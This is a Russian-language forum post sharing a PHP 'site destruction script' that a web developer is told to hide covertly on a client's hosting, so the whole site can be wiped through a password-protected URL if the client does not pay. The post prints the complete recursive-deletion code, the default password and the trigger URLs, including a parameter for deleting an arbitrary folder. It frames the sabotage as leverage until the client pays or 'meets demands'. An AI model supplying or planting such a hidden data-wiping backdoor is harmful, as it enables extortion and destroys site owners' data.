- Автор темы
- #1
Конечно надеюсь что такой скрипт никому никогда не понадобится. Но бывают случаи когда не оплатили за сайт, и поменяли пароль (закрыв тебе доступ) и тебя кинули на деньги (не расчитавшись).
Что же тогда делать? Как себя подстраховывать?
Тогда на сайт втихаря нужно кинуть такой скриптик. Скрипт уничтожения сайта.
Если параметры не указать, а просто открыть то увидим корневой путь (относительно корня) «/».
Если запустить с параметром:
То мы удалим весь сайт!
То есть, что бы полностью удалить сайт, нужно залить файл со скриптом например в коренневую папку на хостинге и прописать полный код:
В плане безопасности — безопасен, если вы изменили пароль. Так что можно заливать и не бояться. Вот когда оплатят или выполнят требования, и уже станет не актуален, можно будет и удалить.
Если же нужно определенную папку удалить то параметр будет выглядеть так:
И он в браузере покажет вам путь что вы ему отправили.
Вот код:
Что же тогда делать? Как себя подстраховывать?
Тогда на сайт втихаря нужно кинуть такой скриптик. Скрипт уничтожения сайта.
Код:
http://сайт/путь куда спрятали/имя скрипта - стандартный delete.php
Если параметры не указать, а просто открыть то увидим корневой путь (относительно корня) «/».
Если запустить с параметром:
Код:
"?del=пароль" - указан пароль в скрипте (стандартный "killbil")
То мы удалим весь сайт!
То есть, что бы полностью удалить сайт, нужно залить файл со скриптом например в коренневую папку на хостинге и прописать полный код:
Код:
http://sitename.ru/delete.php?del=killbil (если не меняли пароль и залили файл в коренневую папку, то все сработает).
В плане безопасности — безопасен, если вы изменили пароль. Так что можно заливать и не бояться. Вот когда оплатят или выполнят требования, и уже станет не актуален, можно будет и удалить.
Если же нужно определенную папку удалить то параметр будет выглядеть так:
Код:
"?del=[пароль]&path=[путь]"
Если вы сомневаетесь что путь корректен по ссылке, то можно отправить для теста так:
"?path=[путь]"
И он в браузере покажет вам путь что вы ему отправили.
Вот код:
Код:
// чтобы точно выполнился
ignore_user_abort(true);
set_time_limit(0);
// стандартный путь
$path=$_SERVER['DOCUMENT_ROOT'];
// стандартный пароль (меняем на свой)
$pass="killbil";
// можем и отправить что именно удалить (папку)
if (isset($_GET['path']))
$path=$_GET['path'];
// реальный путь
echo $path=realpath($path);
// если получим параметр на удаление и он будет корректен
if ((isset($_GET['del']))&&($_GET['del']==$pass))
rmdir_recurse($path);
// рекурсионное удаление
function rmdir_recurse($path) {
$path = rtrim($path, '/').'/';
$handle = opendir($path);
while(false !== ($file = readdir($handle))) {
if($file != '.' and $file != '..' ) {
$fullpath = $path.$file;
if(is_dir($fullpath)) rmdir_recurse($fullpath); else unlink($fullpath);
}
}
closedir($handle);
rmdir($path);
}
Скачать скрипт:
Скрытое содержимое доступно для зарегистрированных пользователей!